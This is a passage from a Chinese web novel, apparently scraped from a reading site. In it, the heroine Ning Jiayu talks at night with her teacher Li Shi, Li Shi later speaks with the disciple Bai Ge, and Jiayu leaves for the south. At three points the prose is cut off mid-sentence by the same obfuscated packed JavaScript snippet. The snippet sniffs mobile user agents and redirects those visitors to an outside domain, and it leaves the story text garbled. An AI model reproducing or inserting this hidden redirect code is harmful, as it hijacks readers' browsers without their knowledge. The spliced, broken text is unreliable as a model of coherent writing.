“大哥，展儿不仅是我的孩子，亦是你的亲外甥。此事，你我不宜出面。交给禁卫，”宁善拍了拍墨司齐的肩，“大哥安心便是。” 宁善手腕一抬，被以宁挥剑拦截的嘉宁禁卫立地得令，队伍前赴后继将愤愤不平的宁展“护”下法场。 当宁展发觉不论自己如何使劲，那具置身火海的躯体照旧无动于衷时，他终于了然——人，兴许早在入鼎前就断了气。 他天真地闯入众目睽睽要救人，遂拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679272|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力拉住那只焦烫的手臂。可说到底，知道人救不活了，他甚至不能将遗体带离这毫无尊严的法场。 宁展承认，自己一直是个爱逞英雄的幼稚小儿，两年前如是，现下亦然。 生来便有金镶玉裹，八、九岁正是旁人口中他合该无虑无思的年纪。但教训惨烈，他没有因为天真和幼稚行差踏错的机会了。 人们顾不上纵声呼号的宁展，只如饥似渴地注视满地翠珠不断翻滚、追逐、扑空，直至千万丈毒辣的日光正中其心，映射出道道目眩神摇的艳色。 群潮冲破了廉耻的桎梏，争先涌向邢台。 一发不可收拾。 周遭震耳欲聋，中央那座镬鼎漠然不动。它深可容牛的腹中，正啃啮着韩雨的父亲。 无数颗模糊的头颅在戏台上摆动、摇晃，唯有她的父亲寸步难行，这是韩雨平生见过最令人作呕的“舞蹈”。她满目凄怆，滑脱母亲的怀抱，呕出一地酸水。 - 宁佳与不自觉喘着粗气，闷声道：“当初，他们为着一份忌惮，要韩家人枉死，而今为着一份顾虑，要我与母亲的尸首祭旗。这个天大的人情，其实是颗足以支撑他们重燃烽火的安神丸。对么，师父？” 李施恨道：“对。 “宁善在，你与宁展绝无可能，那么步溪虽为兽，就还得是夹在嘉宁与墨川之间貌似无害的花草。假使步长微亲口道出你的身份，免不得暴露锋芒，届时，他怎样佐证步溪并非知而不言、在过去十年没有窝藏的嫌疑，都无济于事。他若借旁人之力，兴许能除了你，还能保全步溪。” 史书记载，步溪似乎不曾出现过一位狼戾不仁、居心险恶的暴君，纵使外界对步溪子民百般诋毁，却无人指得出君主的不是。仿若能登上步溪王座，其人便与“敬天恤民”“兼爱无私”字眼挂了钩。 故而瞧见步长微在步千弈脸上留的掌印时，宁佳与未能将素有仁名的微王和青哥哥口中“凶巴巴的爹”视作同一人。 恐怕事到如今，她依然没有真正看清过步长微。 “师父。步溪君主，”宁佳与望向床顶的洋纱，“究竟是怎样的人？” 李施被宁佳与兀然的平静问得一愣。 她沉吟半晌，笃定道：“是一代比一代更歹毒而不择手段的人。” 宁佳与这会儿问的只是步长微，不想李施将步溪历代君主，连同尚在储位的步千弈一并骂了进去。 她记得师父并不反感步千弈，起码对步千弈的态度比待步长微温和多了。 宁佳与讶异地张嘴，又不知从何说起。 “步溪不能再待了，雨儿。”李施坐起身，“至少眼下不能再待了，日后——” “那师父呢？”宁佳与喃喃道。 李施点了点她额角，假意数落：“死丫头，师父大半辈子的心血全在这里。若是走了，我那些宝贝呢？” 话虽如此，但宁佳与明白师父不是情愿画地为牢的女子，更不会被灵草、蛊虫绊住脚步。 李施决意留下，定有足够令她改弦易辙的缘由。 67. 夜话（三） “什么宝贝？长生不老丸？” 宁佳与不正经试探，即并非真心要打听师父的宝贝。而听来玄乎的长生不老药，确是李施多年来一直在琢磨的东西。 李施颇为骄傲地摆摆食指，道：“有个新玩意。” 宁佳与忽然想起师父为着替白歌出气，明面罚了那些嚼舌之人挨过鞭子不够，某日神秘兮兮地给她一袋药粉，让她和了水分别涂到碎嘴子的腰牌上。 师父交代她，万不可沾了自己的手，否则无解，只得苦等药效消退。 原先还道是什么了不得的毒物，宁佳与本欲收手换个法子，岂料正当打道回头，偏又传出许多扎耳的污言秽语，把白歌连带李施都踩进泥里，不知比药毒上多少。再忍，这口恶气怕要堵得她直抵黄泉不可！ 最后“中毒”的场面堪称奇景，她和白歌狂笑七日难止。 “不会......”宁佳与忍俊不禁，“又是碰了便哑口，当街手舞足蹈五个时辰方才能解的怪东西罢？” 李施斜她一眼，道：“那至多算耗子药。这回可是续命的灵丹，顶好的玩意。” 宁佳与猜道：“延年益寿？” 李施掂量片刻，道：“这么说也不错。” 宁佳与好笑：“那不还是长生不老丸嘛！” “啧。”李施碰了碰她的肩，“不一样！” “进展如何？” “前头眼看就快成了，我忙着进山捉虫，教小白替我拾掇起来送去宫里交差。谁知那群小鬼追他要糖吃，追进我院里来，他进城买糖的工夫，小鬼将好些不相干的药粉全碰缸里去了！小白也是个飞昏头的！”李施越说越恼，狠拍床沿，“药丸原先的颜色都没记住，就这么给了！得亏人没急着服。” “幸好。那长生不老丸——”宁佳与不怀好意般拖长了声，“还能有盼头么？” “嘿，真是我的好心肝。”李施左右撸起袖管，“当我身子不比你，赤手空拳也治不了你了？” 宁佳与无意刨根问底，实是打算靠闲扯先松一松李施的弦。 耳闻师父言语带笑，她边拍马屁边试探：“师父神功绝代，徒儿追赶不迭，岂有一战之机？既然永清有江家人的音讯，那......徒儿便往南边去了？” 李施忽视了无用的前言，和宁佳与后边的想法大差不离。 纵使永清没有江家的音讯，她也希望宁佳与南下。毕竟越往北去，要置宁佳与于死地的人越多。 “嗯。”李施理所当然应了，复又狐疑声明：“我只叫你南下，没叫你和元家那兔崽子混在一处。” 宁佳与稍稍仰头，脸颊正巧贴上李施的手背，轻声道：“师父为何对元家的成见如此之深？” “成见？！”李施瞪大了眼，“你师父向来就事论事，我道元家专生薄情苗，旁的一概不曾妄论。倘若这不算公道，世上还有中正可言？！” 这话，宁佳与听了个半懂。 她深悉师父不会平白冤枉人，却不知师父醉心技艺几十载，对儿女情长堪称兴味索然，眼下怎的纠结起元家人有情与否了？ “师父不愿我与宁展同行，是看他......”宁佳与迷茫地眨眨眼，迟疑道，“薄情？” “当然——”李施不假思索，紧着正色道：“当然不止！宁展此人，两面三刀，不可捉摸。” 按她一路上的所作所为，师父这评价倒更像是她留给宁展的印象。宁佳与心虚地拨弄鬓发，含糊其辞：“会吗？没有罢，宁展的心思，不是一琢磨就透吗......” 宁佳与甚至觉得，有时且不用她琢磨，宁展便将心里那点小九九布成满园秀色邀她共赏了。 李施睨着宁佳与的侧影，不禁冷笑：“他心悦你，你也知道？” ...... “......不......知道。”宁佳与答得极慢。 “不知道就对了。”李施道，“他自己估计都不明白。不过你得明白，还要离他远远的。” “不、不是。师父，您误会了。宁展的心悦之人是韩雨，而他以为，韩雨已经死了。如今，”宁佳与捏着耳垂，心不在焉，“他是把我当义妹。” 李施眉头骤紧，五官不可谓不扭曲。 虽说她隐居山中，每日迎来送往、处理庶务，也算过得精致而充实。然则宁佳与审时定势的角度，委实让她以为自己是个不通尘俗的野人。 “都什么跟什么！说来说去，宁展不还是心悦你吗。莫非他单单看中了你的名姓，如今你不叫‘韩雨’，他就要变心？”李施费解至极，烦躁道，“呵，果然薄情！” “师父......”宁佳与无奈道，“宁展先前没有同您说他想拜在您门下，与我做义结金兰的兄妹吗？” “说过又如何，他算哪根葱？老娘才不收他。” “师父不想收他为徒？” “死丫头，你究竟是真不明白还是假不明白？”李施捏住宁佳与的脸蛋，“宁展现下誓要拜师结义，可你信不信，不消多日，他一准反悔！” 宁佳与兀自抿嘴，良久未应声。 “怎么？”李施将宁佳与的脸蛋揉回去，“师父的话，雨儿也不信了？” “师父为我授业解惑，徒儿向来对师父深信不疑。可是师父。” 宁佳与回望李施的轮廓，字句恳切。 “或许这世上不止宁展一人能够与我并肩同行，但我相信，唯有他可以一路坚守，直至航程在光明的彼岸告终。” “你的意思是，宁展知道你便是世人眼中早该死透的罪臣之女，依然会站在你这边？”李施引手探宁佳与的脑门，复又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679273|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴回自己额前，颇受震惊，“雨儿，你别是魇坏了脑子？” 宁佳与答得异常认真：“徒儿一切安好。” 李施险些翻出超越白歌水准的白眼。 “我先不谈嘉宁与墨川的世仇，可宁展作为嘉宁深孚众望的王储，凭什么舍去旁人求都求不来的声誉，反去帮你？就凭他对你那点儿他自己都不清楚的欢喜吗？！” “不是的，师父。” 回忆模糊，擦出的身影却愈发明晰——少年义无反顾奔向法场，背对千夫万众，位居高处的韩雨难以察清其面容，好在他腰间的桃色茄袋迎风招展，还算自由。 那是韩雨曾经为答谢元祯仗义相助，亲手准备的回礼。 早在宁佳与尚不了解“宁展”时，韩雨便深刻认识过“元祯”了。 从前他是元祯，不会因着自己生于与墨川水火不容的嘉宁，对身为众矢之的韩宋视若无睹。如今成了宁展，亦不会仅基于心中欢喜才想助韩家沉冤得雪。 此人没变，也变了。 若时光回溯，他依旧会毫不犹豫地冲上邢台，却不再是撬鼎救人，而是要把莫须有的污名伪罪烧个干净，再将所有本该属于韩家的东西送上大道，见证物归原主。 宁佳与脑海中的陈影与新迹逐层交叠，宛然在目。 宁展和元祯是同样热烈的少年，他为的，从来都是激浊扬清、明公正道，以及那份“幼稚”的初心。 月华淌入里屋，摇漾双眸，盈盈生光。 “就凭人各有志，而我与宁展，志同道合。更何况，”宁佳与弯着眼，笑靥粲然，“我早就答应过要和他走完这一程了。” - “在下不才，幸蒙殿下青眼。”宁佳与正色道，“不负殿下所托。” “无须自谦。你是个奇才，且许多想法......与我不谋而合。开弓没有回头箭，若你半道生异心，暗阁不讲人情，”宁展收紧了双手，“我亦如是。” “在下的的确确是个一诺千金之人。先前的誓愿追随，不论生死。仍旧作数。” “今后有本君一口饭吃，便有姑娘一盘含桃。” - 夜至三更，宁佳与服过安神丸，沉沉睡下。 李施根本懒得理解“人各有志”，更不信什的“志同道合”。她只知道，如今少年、少女俱是人手一套说辞，嘴上讲得天花乱坠，连给鸡拜年的黄鼠狼也有个漂亮由头，美其名曰——开门见真心，推心至肺腑。 她固然有些恼火，又架不住对入眠的宁佳与暗暗称叹：真有老娘半分为所欲为的风范。 思及此，李施心绪莫名好转，遂轻手轻脚下了榻，把五颜六色的花袍往身上一批，推门赏月去了。将将踏出内院，她便瞧见个熟悉的背影弓在大门前呆坐。 “小白？” 68. 夜话（四） 闻声，白歌似有片刻迟滞。他正欲起身作礼，却被师父原地摁了回去。 “不是与你说，今日不必守夜吗？”李施掏出的帕子垫在白歌旁侧，这才席地而坐。 “习惯了。看没人守这院子，”白歌垂着脑袋低语，“不安心。” “......你何时也学了外边那些人的臭毛病？讲话七弯八拐。”李施粗略瞥一眼白歌，笃定道：“是没睡好罢，你也服两粒雨儿平日用的安神药丸。” 白歌一怔，后知后觉地抬头，道：“她从前睡得安稳，都是因着那安神药丸吗？” “是啊。你不是一直替我督促她服药吗？”李施随意理着衣摆，“怎会不知。” 白歌自然知道那药，但不清楚效用究竟。 若是他巴巴凑上去问，难免显得自己小心眼，像在觊觎师妹有而他没有的东西，遂每每皆是看着宁佳与按时服药便罢。 “她嗜睡......”白歌犹豫道，“也是药丸的副效？” “照理说是。”李施回忆着自己的偏方，“不过，这药有除了我和雨儿，不曾有第三人试过。你晓得，师父素来贪眠些，作不得参考。” “师父，我想试试。”白歌不假思索道。 李施了解白歌并不如旁人说的那般事事嫉妒宁佳与，时下这较劲的模样却令她暗觉不妙。然不论白歌打的什么算盘，她都无心过问，权因白歌委实是个让人无比省心的乖徒弟。 李施抱着不可厚此薄彼的想法，爽快道：“成。” 得到应允的白歌不仅未转愁为喜，反忧容更甚。 “......师父。” 他端着神头鬼脸，话音又戛然而止，引得李施几欲质疑自己方才答的到底是“成”还是“滚”。 “虽说师父不怕妖魔鬼怪，但你这样对着月亮。”李施面不改色地移开目光，“比鬼怪骇人。” 白歌听着这话，下意识抬手挡了月光，以致诡异的面容完全隐入阴影，声气更是轻不可闻。 “师父真要收宁展为徒吗？” 话音未尽，李施当即道：“假！假得不能再假！你又听哪个自以为是的瞎扯去了，这都敢信？！” 白歌生来就带着股专招长辈及小辈喜爱的劲，兼之敬老爱幼，可谓将长处发挥到了极致，唯独忍不住对自己看不顺眼的同龄人白眼连连。故风头过盛后，他少不得要受无端诟病。 嚼舌根者，便是听雪阁中考绩常被白歌甩开一大截，地位亦然屈居其下，还要无奈尊他一声“白公子”的同龄人。 譬如道白歌攀附权贵，方才得以跟在弈祇君身边做事；再道白歌标新立异，听雪阁众隐士皆以暗器、奇兵为刃，偏他一人搞特殊，执长剑；抑或说白歌嫉贤妒能，观宁佳与后来居上，厚颜无耻盯视她的一举一动，为的就是在李主事面前告黑状。 纵李施几次出面，对此类作为予以鞭罚，依然有人仗着李主事久居山庄，在暗桩三五成群地编排白歌。 而他自己也好面子，没法对诋毁置之不理，回回往心里去，正中旁人下怀。 “茶楼里都这么传。”白歌如实道，“他们说宁展离开时，神色怡然，满面春风。” 李施侧首回思，轻飘飘地骂了一句粗话。 难怪她瞧昨日茶楼雅间外值守的人格外眼熟，可不就是那几个尤其碎嘴的长舌汉吗？ “他们若是想死，怎的不把老娘骂人摔杯的景况一并传开？你明日下山，将茶楼所有轮守通通换成信得过的人。至于多嘴的，”李施平缓道，“有几个杀几个。” 白歌不料李施这回如此决绝，甚至在想，自己听着那些话时是否果真愤恨到了要将人赶尽杀绝的地步。 他敛声屏息，恂恂开口：“师父，以往违例妄议，均责鞭三十论处。这——” “小白，我且问你。” 李施回看白歌，言语责怪的意味却没有落到他身上。 “以往打也打过，骂也骂过，可见丝毫成效？暗阁都是无家无室的孤子，再往上，还有什么可罚？论月例，那本就是买命钱，倘若罚俸，剩得下几个情愿替暗阁卖命？” 白歌颔首称是，又不得不顾虑：“依师父看，当如何向世子殿下交代？” “从慈幼庄到听雪阁，谁不知你师父脾性？如此，他们还敢在老娘的地盘上撒野，就该有掉脑袋的觉悟！” 李施远眺密林。 “那些人留在阁里也是祸害。世子那边，你照常禀报，他不会有异议。” “是。” 步千弈之所以能入李施的眼，首先，那野心她一览即尽；其次，步千弈实现野心的作派深得她意。 顺则为己所用，逆则鸡犬不留。 步千弈不会有异议，因为他就是这样的人。 “对了师父......”白歌纠结地摩挲剑柄，道：“小雨前些日子改了姓和名，您知道吗？” “换作什么了？我听嘉宁那兔崽子不还是唤的‘雨姑娘’吗。”说罢，李施猛不丁收拢两掌，“啪”一声拍死了两只蚊子。 白歌循声看向师父手里残留的血。 他和宁佳与都记得师父极爱干净，但他不会随身备着方巾绣帕，只好掏出自己缠伤的纱布递上，道：“说是姓宁，名佳与。” “哦，是你先前很满意，但被她果断撕掉的‘佳’？”李施接过纱布一愣，忽然道：“小白，你知道雨儿原先的......” 若是白歌不知，又岂会说改了姓？ “韩嘛。”白歌点头，老实道，“姓韩。” “那雨儿的身世......” “是琛惠太师的独女。”白歌心平气和，“徒儿说的可对？” 李施虽待门下两个徒弟的态度不甚相同，于白歌严厉些，于宁佳与娇惯些，但都是自己费心培养且爱重非常的弟子。 为免祸从口出，李施不曾对任何人提及宁佳与的过去，包括她的宝贝首徒。如今白歌这般淡然地道出宁佳与的来历，反倒打她个措手不及。 “对是对。” 李施逐渐意识到白歌似乎把此事藏得比她还好，即便解了谜，也未向她求证一句。 “这事不好查罢？听雪阁又数你最劳碌，怎会想着把精力放到这上面。” 白歌的通讯能力堪与专精此道的青竹阁一较高下，单比搜罗秘辛，就不如他们精准快速了。 恰如李施所言，白歌要把宁佳与的身世查得八九不离十，不容易。他只能依赖最原始的法子，闲暇时靠着两腿和双翼跑遍七州，将一条条虚实参半的线索不厌其烦地堆积起来。 从中，寻觅渊源有自的真迹。 白歌却不以为艰难。不就是多跑几趟吗？这点儿小事都不能坚持，那他简直不配为师父的首徒。 “师父，您告诉我，无论何时何地，作为师兄要保护好师妹，我没忘。若连师妹的本家和仇家是谁都浑然不觉，我又如何算是对您的教诲真正上了心？” 李施终于回过味来。 白歌不是近年才开始为此事奔波，兴许自当年二人学成出山时，自她对二人千叮咛万嘱咐后，自白歌得到重用前...... 小大人心里早有了自己的打算。 昔日阁中谣传漫天，李施几度置若罔闻，便是清楚白 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比方说宁佳与对嘉宁那兔崽子秘而不宣的心意，又比方说白歌这许多年闷头隐忍不发的委屈。 “好孩子，你做得很好，特别好，出色极了。” 李施难得拿出长辈姿态，像从前那般替白歌调整乌金发带。 “有你们俩，浑身上下养了几十载的怨念淡了不少。师父骄傲，也快慰。” 过去的年月里，李施确是个戾气颇重的二杆子。 儿时，她镇日在家中许愿，希望全族的男女老少都一夜暴毙；位极太保后，她更是恨不得七州里里外外的人都死光了才好。 打从记事，白歌便跟李施回了慈幼庄。他率真的心性一半长在骨子，另一半随了李施。 师徒二人皆是不爱唱煽情之词的直肠子，倘一反常态，出言毋庸置疑就是真心话。 “只是你得记住，师父叫你自决择器，不是为着彰显我的亲传弟子如何与众不同。他们哪里有资格与你相比？” 李施徐徐起身，弯腰拾起白歌身旁的长剑，抵剑格离鞘，看剑身闪熠。 “你长大了，要飞往自己的天，执自己的剑，做自己以为对的事。不必欲求谁人理解，包括我和雨儿。” 白歌仰望背逆夜色的李施，瞧不明师父的神情，却听得清师父的固执。 “这一点。” 李施转身面向遥远的皓月。 “雨儿已经做到了。我教你们真本事，便不怕外传，你们学会了，就是自己的。我不会收元家小子为徒，雨儿要不要教他功夫，那是雨儿自己的事。” 韩雨是当年那场将门极刑中莫大的变数，亦是李施枯燥光阴里的一点惊喜。在李施眼里，这个小徒弟真的很聪明，是能看到慧根的。 白歌盯着剑珌，恍惚出神。 他总是和宁佳与较量不休，这回，他又慢了一步。 “想赢一次吗，小白。”李施倏尔侧首，洞若观火，“赢雨儿也好，赢自己也好。是不是很想赢？” “是啊。”白歌怏怏点头，底气虚浮，“很想赢。” “那就拿好你的剑！”李施猛将入鞘的玉剑抛还白歌，笑道：“师父是个小气的鬼，给你们的东西就这么多了。日后炼出长生不老药，也不会向你们俩透露半点风声！教诲正式结束，走罢。” 白歌眼疾手快接稳玉剑，思绪却仍未通透，愣愣看着李施与他擦身而过。 “去哪啊，师父？” 绚丽的花袍随着大步流星在月下庭院绽开，李施摆了摆手，头也不回道：“回屋，睡觉！” 69. 怪诞 天方破晓，宁佳与被屏风外白歌叫魂似的死动静闹得头疼。她好容易睡个安稳觉，却不得不起早，迎接四处充溢诡异的一天。 何谓诡异？ 便是师父不贪眠，白歌不用饭，小鬼不食糖。 一切都太过荒谬，若不是仍能在院内看到太阳照常东升，宁佳与几欲以为整个慈幼庄都中了迷毒。 李施今晨出奇奕奕，非但不贪眠，甚至昨夜还斥宁佳与魇坏了脑子，现下竟替宁佳与拾掇起南行的包袱来。 宁佳与看了眼外头捧着糖拥堵庭院的小鬼，终于忍不住问：“师父，你们这是怎么了？” 李施翘腿斜倚长榻，唇角稍扬，手上谨慎摆列包袱里好些奇形怪状的物件，说话不慌不忙：“什么怎么了？” “您为何如此高兴？白歌为何一大早不用饭就跑了？还有他们，”宁佳与隔空指了指毛孩子的脸蛋，“又是为何对我这般殷勤？” “你不是要出远门吗，且这一去归期不定，师父——”李施一下勒紧包袱的豁口，“为你高兴。” 宁佳与茫然不已，不明白“出远门”和“归期不定”有哪点值得师父高兴，两者合在一起怎么看都沾着些离别的伤感之意，乃至她无心推算——下次再见师父会是何年何月。 她走近榻前，双唇微张，还想分辩什么。可此番是她决意要走，如今师父遂了她的愿，她反而不安。 “师父......”宁佳与措辞半晌，迟疑道：“不要徒儿了？” 李施闻言啼笑皆非：“说的什么话？” 她不必走动，放声一喝便把外院苦等的小鬼悉数赶回了学堂，继而将宁佳与领至铜镜前。 “你这头发——”李施边净手边看镜中的宁佳与，满脸嫌弃，“是打理过的成果？比你及芨以前的水准还荒谬。” 学成出山后，宁佳与从慈幼庄搬到听雪阁，再没法如先前那样依赖师父为自己装束。幸而她出门在外端的是放浪形骸，发带一卷，黄土一抹，形象随缘。近来有柳如殷手把手指引，宁佳与勉强可以将那堆浓密又凌乱的玩意收拢齐整。 她不禁恍然，如今自己的手也能打扮出如此模样了，即似昔年太师府上，江漓为她整衣妆饰。 娇逸而明朗，清扬而韶秀。 但只身对镜时，宁佳与舞着满头青丝，依旧难免这里漏下几根毛、那里鼓起两个包。她越弄越烦躁，臂腕酸痛堪比接连运功练气整整三个时辰的状态，便破罐子破摔了。 宁佳与和铜镜中坠环簪花的李施两两相视，并未答话。 “雨儿，你长大了，往后哪怕是一个人，亦不可轻慢自己。我给你备了份小嫁妆——欸呀，不过是些金银首饰，都塞包袱里了。若是不想嫁人，就拿去买糕点。” 李施缓慢梳顺宁佳与的墨发。 “师父先前说的话，你还得往心里去——” “师父。”宁佳与打断了李施的絮语，涩声道，“您也......不要徒儿了？” 陌生的声音和熟悉的字句独独环绕着宁佳与。 “......而舒颜，改名换姓，后半生就当没我这个母亲！” 宁佳与早已记不起江漓的音容笑貌，唯有临别那一席有如剜心的言辞将回忆划出了痕，经年未消。 她想过彻底离开步溪，却没想过彻底离开师父。 待一切尘埃落定，她定是要回过头陪师父颐养天年的。曾经毅然辞别的母亲生死未卜，若师父也与她永别，她近乎看不清这趟远航归来的港湾会在何方了。 “雨儿，你在听雪阁这些年，选过不计其数的外务，每回目的地皆是外州。师父知道，暗阁和山庄是你万不得已的歇脚处，总有一天，你要去往心之所向的逍遥天地。” 李施散开绯色布带，一圈圈高束宁佳与齐腰的长发。 “眼瞧这一天就快到了，师父当然为你高兴。” 宁佳与逐渐意识到，自己压在心底的期盼在师父眼前竟表露得如此清晰。 她怔怔看着那段绯带脱离李施的掌心，于发间绽开三瓣空心红叶，化作酢浆草结。 往年宁佳与外出办差前，李施都爱为她梳洗打扮。奈何稍显繁复的装束宁佳与拆也不会拆、整又不会整，因此李施多半会系上便宜还原的十字结。 李施则喜好严妆，自个儿的编发通常与诸般千汇万状的酢浆草结分不开。 今日一改故辙，李施束着简易雅致的垂鬓分肖髻，却为宁佳与系上格外精巧的酢浆草结。 此式又名幸运结，寓意福与天齐、逢凶化吉。 “更何况，雨儿本就不是属于师父的东西，何谈我不要你了？”李施满意地放下银梳，拾起一盒胭脂，“师父不是那种绝情的人。” 宁佳与听出师父话里有话，连忙截断这茬。 “那师父教教我。”她指向脑后的酢浆草结，“这个怎么系呢？” “我系得马虎，元家人手巧。你改日仔细‘请教’嘉宁那小子，他若不会，”李施着手为宁佳与染唇，看似不以为意，“就叫他别成日打着元氏的名号出去招摇。” 宁佳与忽然笑弯了眼，故作稀奇：“徒儿竟不知，手巧也能遗传？” 李施斜了一眼那鲜亮的幸运结，理直气壮道：“怎么不行？不行就是他自己不争气，白瞎了......” “白瞎了什么？”宁佳与没听清李施最后那几声嘟囔。 “没什么。” 宁佳与实在按捺不下昨夜未消的好奇心，便问：“师父，您与太后娘娘交情如何？” “太什么后！”李施冷不丁拔高了嗓门，复又收声道：“不好。一点不好。” “如何不好？”宁佳与道。 李施背过身利落地收起唇脂，神色不明。 “雨儿，你今日话很多。” 师父这么一说，她心中更笃定师父与太后娘娘从前的交情必然很好。宁佳与对镜抿了抿唇脂，打哈哈道：“那白歌做什么去了，师父总可以告诉我罢？” “小白没与我交代。不过，”李施走向床榻，取来宁佳与的包袱，“他若是有事，自会去寻你。你该下山便下山，不必在意。” 宁佳与笑呵呵接过包袱往后背，竟好悬没给这袋子叮当作响的物什坠得倒仰。 她弓腰拽住包袱，惊魂未定道：“师父，您莫不是把那些宝贝的瓶瓶罐罐也给我带上了？我可不会养虫啊！” “嘁，它们比人好养多了。只要有吃的，埋土里都能活。再者说，你想要，”李施走向罩中活蹦乱跳的爬虫，“我还不乐意给呢。” “那......”宁佳与挂稳包袱，半信半疑道，“徒儿这就走了？” “雨儿，我知你执念深重，却不想劝你放下。以后，你就不再受暗阁所困了。此去山高水远，师父只祝你，”李施看向宁佳与，“无往不胜。” “徒儿，叩谢师父多年养育之恩。”宁佳与双膝贴地，肃然跪拜，“也祝您天保九如，万事顺遂。” 末了，她扶扇起身，崭新的长靴已踏往檐下满园的斑驳，又不舍地撤回。 宁佳与侧首凝望窗棂旁的婉娈，不由感叹：“师父好像真的不会变老啊，徒儿还以为，那都是步溪传说。您定要等我告捷归来，为您尽孝。” “噫——”李施颤了颤肩，“在外头别给我写信，那玩意酸死了。” 宁佳与暗自回顾从前给师父写过的信，分明张弛有度，用语得当，哪里酸了？她努力点头，但说：“偏要写！” 晨光沿窗而落，辉映奇花入鬓，承载无限芬芳与柔丽。李施悠悠抚摸垂肩的发髻，无声笑骂。 宁佳与跨过缠绵的依恋，伴着庄子声声稚嫩且井然的“之乎者也”，走向大门。她顺手牵了马，堪堪坐定，被腿边五光十色的晕影闪得目眩，遂倾身扯开马肚旁的布袋朝里探。 竟是两大兜子裹着各式各样桑皮纸的软糖？ 宁佳与伸手捞出几粒，托来细瞧。 有印鉴当头的“白记糕点”、色香俱全的橙黄精装，亦有少许朴素不华的无字封。一看便知，是小鬼们东拼西凑要献的宝。 宁佳与剥开无字封，滚上层层甜霜的软糖躺卧其中，日头照得它几欲扶额，貌似下一刻便要融于掌间。 她赶紧把糖塞进嘴里，绵密混着黏稠在舌齿间化开。 时隔多年，这般不留余地的蜜意于她太过甜腻。然思及那群小鬼捧着软糖不肯吃又止不住地流口水，她打马下山，扑面的风都掺着萦回不息的醇美。 任那滋味如何，宁佳与不愿吐掉。 步溪城内繁闹依旧，好像并未经历过喧动万民的“农夫斗杀”，同未接待过远道而来的嘉宁少君。除去宫门外进奉的贡品日益增多，诸事如常。 宁佳与头顶骄阳，通街穿道。汗出浃背前，她终于赶到那座观之愈发似曾相识的高门大宅。 管家快步迎来，她递上缰绳，随即瞥见院前晃着位踌躇不前的束衣者。 未待宁佳与静下心好好打量那古怪的背影，对方回了身，与她目光相撞。 “以......”宁佳与不可置信，“以宁兄？！” 以宁身形一僵，十分别扭地点头致意，算是应了宁佳与的招呼，却浑无挪脚的意思，兀自大剌剌杵在外院中央。 宁佳与谨慎环顾四周，走向以宁。 “你这是在做什么？” “与姑娘回来了，你今日......好像和以前不一样。”以宁挤出干笑，直至宁佳与额角落下一滴汗珠，他方才想起有话要说：“哦，对。是公子命我留在府中，等姑娘回来。” “哈，哈。辛苦你了。” 宁佳与无奈拭汗，心想以宁还真是把宁展交代的事情完成得分毫不差。 “那展凌君人呢？” 以宁不自然地抓头发，道：“公子说——” “哎、哎、哎呀呀——上邪啊——” 二人耳边忽然乍起嘹亮的呼号，硬是把以宁未完的话音盖了过去。 宁佳与循声抬头，见游廊上跳起一身行色匆匆的明黄，那人手中的书卷随着步履开合，恰好将他悬念全无的面容挡住。 景以承火速近前，二话不说便拿书卷遮住了以宁的嘴，朝宁佳与大笑：“哎呀小与姑娘，你回来啦！你今日——妆扮尤为新颖，真是清丽脱俗，堪比海棠初妍！还有，柳姑娘可惦念你了，此刻正在偏房，你快去罢！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14695056|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁佳与勉强扛下这一串夹七杂八的障眼法，面前两位都古怪得她不知从何问起。 言行干脆利落的木头扭扭捏捏，笔墨不离身的牛角书生手执印本。关键是，这本上词句翻来覆去尽有两个宁佳与极其熟稔的姓名，更不乏零星不堪直视的内容混入其间。 宁佳与顺手一指景以承横在她和以宁中间的书卷，道：“这是何物？” 景以承心下骤惊，忙将书卷藏至身后，脸上心虚难以隐藏。 “没！没什么呀，一些——” “景二殿下。”以宁仿若魂魄归位般，赫然正色，“您怎么还在看这种荼毒身心的闲文野书，您——” “好好好，我明白。” 景以承笑着推走以宁，二人拖拖拉拉离开了宁佳与的视线。 “咱俩那边儿说话！走走走......” 宁佳与满腹狐疑地穿过长廊，东瞧西望，宁展果真不在，不止如此，偏房也没有景以承所谓的柳姑娘。虽然不消多时，柳如殷便拉着拖地的麻袋自偏房门前经过。 柳如殷随意抬袖抹汗，又全神贯注思忖着，若非宁佳与开口，她压根未留意屋内坐了个红衣烈烈的大活人。 “柳姐姐？”宁佳与几步上前，欲给略显吃力的柳如殷搭把手。 谁知向来亲和的柳如殷陡然高喊：“不必！” 她如临大敌般收紧敞口麻袋，后手脚并用，抱起麻袋就跑，却不忘频频回头探问：“小与姑娘，除了辣子，你还有什么偏好的口味吗？” 